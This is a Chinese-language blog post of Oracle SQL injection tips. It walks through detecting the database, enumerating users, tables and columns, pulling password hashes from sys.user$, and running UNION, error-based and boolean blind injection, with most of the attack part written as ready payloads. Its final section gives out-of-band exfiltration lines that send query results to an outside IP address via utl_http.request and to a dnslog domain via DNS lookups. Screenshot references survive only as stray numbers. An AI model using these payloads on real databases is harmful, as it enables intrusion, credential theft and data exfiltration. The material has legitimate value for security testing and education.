Reber's Blog

只会一点点编程、只会一点点渗透


SQL注入 tips(Oracle)

0x00 判断数据库类型

  • Oracle有一些自带的表:dual、user_tables

    • id=45 and (select count(*) from user_tables)>0--
    • id=45 and (select count(*) from dual)>0--
  • 利用自带的一些函数:譬如utl_http.request 这些

  • 利用Oracle的字符连接符:CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(49)||CHR(61)||CHR(49)

0x01 基本信息获取

  • 查看sid
select instance_name from v$instance;
  • 查看数据库版本:
select banner from v$version where rownum=1;
select banner from sys.v_$version where rownum=1;
  • 查看用户:
select user from dual; --当前用户
select username from user_users; --当前用户
select username from all_users; --查看所有用户
select username from dba_users; --查看所有用户(需要有权限)
  • 查看当前用户角色:
select role from session_roles;
  • 查看数据库用户名和密码:
select name, password, astatus from sys.user$; --需要权限
  • 通过注入获取数据
    --列database
    select global_name from global_name;
    select sys.database_name from dual;
    select name from v$database;
    select instance_name from v$instance;
    --列owner
    select distinct owner from all_tables;
    --列owner的tables
    select table_name from all_tables where owner='UTEST';
    --列tables的columns
    select column_name from all_tab_columns where table_name='TUSER';
    select column_name from all_tab_cols where table_name='TUSER';
    
    
    --列tablespace
    select tablespace_name from user_tablespaces;
    --列tablespace的tables
    select table_name from user_tables where tablespace_name='DB_TEST_DATA';
    --列tables的columns
    select column_name from user_tab_columns where table_name='TUSER';
    

0x02 UNION query注入

  • 存在注入 70

  • 判断列数 40 80

  • 尝试union select 60 依次判断字段类型(下图判断出第二个字段是字符型) 80 50

  • 得到表名
    得到表的个数 75 得到第一个表的表名 75 得到第二个表的表名 75

  • 得到第一个表的字段 80

  • 得到第一个表的数据 80

0x03 error-based注入

  • ctxsys.drithsx.sn 60

  • dbms_xdb_version.checkin 80

  • dbms_xdb_version.makeversioned 85

  • dbms_xdb_version.uncheckout 85

  • dbms_utility.sqlid_to_sqlhash 85

  • utl_inaddr.get_host_name(在11g以后需要是超级用户或已授予网络访问权限的用户才能使用)

0x04 boolean-based blind注入

  • case…when… 65 65

  • decode

decode(条件,值1,值1结果,值2,值2结果,。。。值n,值n结果,默认值)

条件和那个值相等就返回那个值的结果 65 65

  • instr

instr(字符串,子串)

从一个字符串中查找指定子串的位置,这里一直将位置置为1 55 55 55

0x05 无回显注入

  • web服务接收结果
select * from utest.msg where id=2 and 1=utl_http.request('http://59.108.35.198:8888/'||(select user from dual));
  • dns服务接收结果
select * from utest.msg where id=2 and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog.wyb0.com') from dual) is not null;
  • dns服务接收结果
select * from utest.msg where id=2 and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.dnslog.wyb0.com',81) from dual) is not null;

Reference(侵删):